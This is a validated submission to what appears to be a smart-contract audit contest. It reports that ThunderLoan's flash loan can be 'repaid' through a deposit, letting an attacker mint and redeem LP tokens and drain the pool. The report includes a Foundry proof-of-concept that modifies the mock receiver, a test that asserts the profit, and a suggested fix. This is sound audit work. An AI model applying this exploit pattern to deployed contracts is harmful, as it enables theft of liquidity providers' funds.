Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Wrong flashloan balance determination mechanism enables one to steal the liquidity of the LPs

Summary

I can take a flashloan and deposit the loaned funds plus the fee instead of repaying the loan and the flashloan will be successful. I can then redeem the LP tokens I received during the deposit step thereby sealing the liquidity provided by the LPs.

Vulnerability Details

in src/upgradedProtocol/ThunderLoanUpgraded::flashloan and src/protocol/ThunderLoan::flashloan, we verify if the flashloan has been repaid by verifying if the endingBalance >= startingBalance + fee

if (endingBalance < startingBalance + fee) {

Neither do we verify how the loaned funds + the fees gets back into the contract now do we verify if there's an ongoing flashloan when we try to deposit funds and therein likes the vulnerability.

POC

Put this changes in `test/mocks.MockFlashLoanREceiver.sol::executeOperation`
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
- bytes calldata /* params */
+ bytes calldata data /* params */
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (initiator != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
IERC20(token).approve(s_thunderLoan, amount + fee);
+ IThunderLoan(s_thunderLoan).deposit(token, amount + fee);
+ (address assetAddress) = abi.decode(data, (address));
+ IERC20 asset = IERC20(assetAddress);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
+ bool s = asset.transfer(initiator, asset.balanceOf(address(this)));
+ require(s, "error sending funds");
return true;
}
Put this piece of code in `test/unit/ThunderLoandTest.t.sol`
function testFlashLoanVulnerability() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
vm.startPrank(user);
tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint userBalanceBefore = tokenA.balanceOf(user);
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, abi.encode(asset));
thunderLoan.redeem(tokenA, asset.balanceOf(user));
uint userBalanceAfter = tokenA.balanceOf(user);
vm.stopPrank();
assertGt(userBalanceAfter, userBalanceBefore);
}

Notice that, even the fee was deposited and thus can be redeemed as well.

in the terminal run forge test --mt testFlashLoanVulnerability -vvv

Impact

A malicious user can steal all of the liquidity provided by other LPs.

Tools Used

Manual review

Recommendations

Prevent deposits during flashloans.

Put the following change in `src/protocol/ThunderLoan.sol` and `src/upgradedProtocol/ThunderLoanUpgraded.sol`
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ bool isCurrentlyFlashLoaning = s_currentlyFlashLoaning[token];
+ require(!isCurrentlyFlashLoaning, "Can not deposit while there's an ongoing flashloan");
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.